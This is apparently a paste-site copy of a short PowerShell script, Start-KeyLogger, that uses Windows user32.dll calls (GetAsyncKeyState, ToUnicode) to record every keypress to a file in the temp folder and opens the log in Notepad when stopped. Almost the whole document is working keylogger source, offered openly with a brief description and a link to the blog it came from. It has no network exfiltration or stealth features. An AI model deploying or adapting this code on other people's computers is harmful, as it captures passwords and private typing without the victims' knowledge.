· 4 years ago · Sep 05, 2021, 01:30 AM
1#requires -Version 2
2function Start-KeyLogger($Path = "$env:temp\keylogger.txt") {
3 <#
4 .DESCRIPTION
5 By accessing the Windows low-level API functions, a script can constantly
6 monitor the keyboard for keypresses and log these to a file. This effectively produces a keylogger.
7
8 Run the function Start-Keylogger to start logging key presses. Once you
9 stop the script by pressing CTRL+C, the collected key presses are displayed
10
11 .NOTES
12 http://powershell.com/cs/blogs/tips/archive/2015/12/09/creating-simple-keylogger.aspx
13 #>
14 # Signatures for API Calls
15 $signatures = @'
16[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
17public static extern short GetAsyncKeyState(int virtualKeyCode);
18[DllImport("user32.dll", CharSet=CharSet.Auto)]
19public static extern int GetKeyboardState(byte[] keystate);
20[DllImport("user32.dll", CharSet=CharSet.Auto)]
21public static extern int MapVirtualKey(uint uCode, int uMapType);
22[DllImport("user32.dll", CharSet=CharSet.Auto)]
23public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
24'@
25
26 # load signatures and make members available
27 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
28
29 # create output file
30 $null = New-Item -Path $Path -ItemType File -Force
31
32 try {
33 Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
34
35 # create endless loop. When user presses CTRL+C, finally-block
36 # executes and shows the collected key presses
37 while ($true) {
38 Start-Sleep -Milliseconds 40
39
40 # scan all ASCII codes above 8
41 for ($ascii = 9; $ascii -le 254; $ascii++) {
42 # get current key state
43 $state = $API::GetAsyncKeyState($ascii)
44
45 # is key pressed?
46 if ($state -eq -32767) {
47 $null = [console]::CapsLock
48
49 # translate scan code to real code
50 $virtualKey = $API::MapVirtualKey($ascii, 3)
51
52 # get keyboard state for virtual keys
53 $kbstate = New-Object -TypeName Byte[] -ArgumentList 256
54 $checkkbstate = $API::GetKeyboardState($kbstate)
55
56 # prepare a StringBuilder to receive input key
57 $mychar = New-Object -TypeName System.Text.StringBuilder
58
59 # translate virtual key
60 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
61
62 if ($success) {
63 # add key to logger file
64 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
65 }
66 }
67 }
68 }
69 }
70 finally {
71 # open logger file in Notepad
72 notepad $Path
73 }
74}
75
76# records all key presses until script is aborted by pressing CTRL+C
77# will then open the file with collected key codes
78#Start-KeyLogger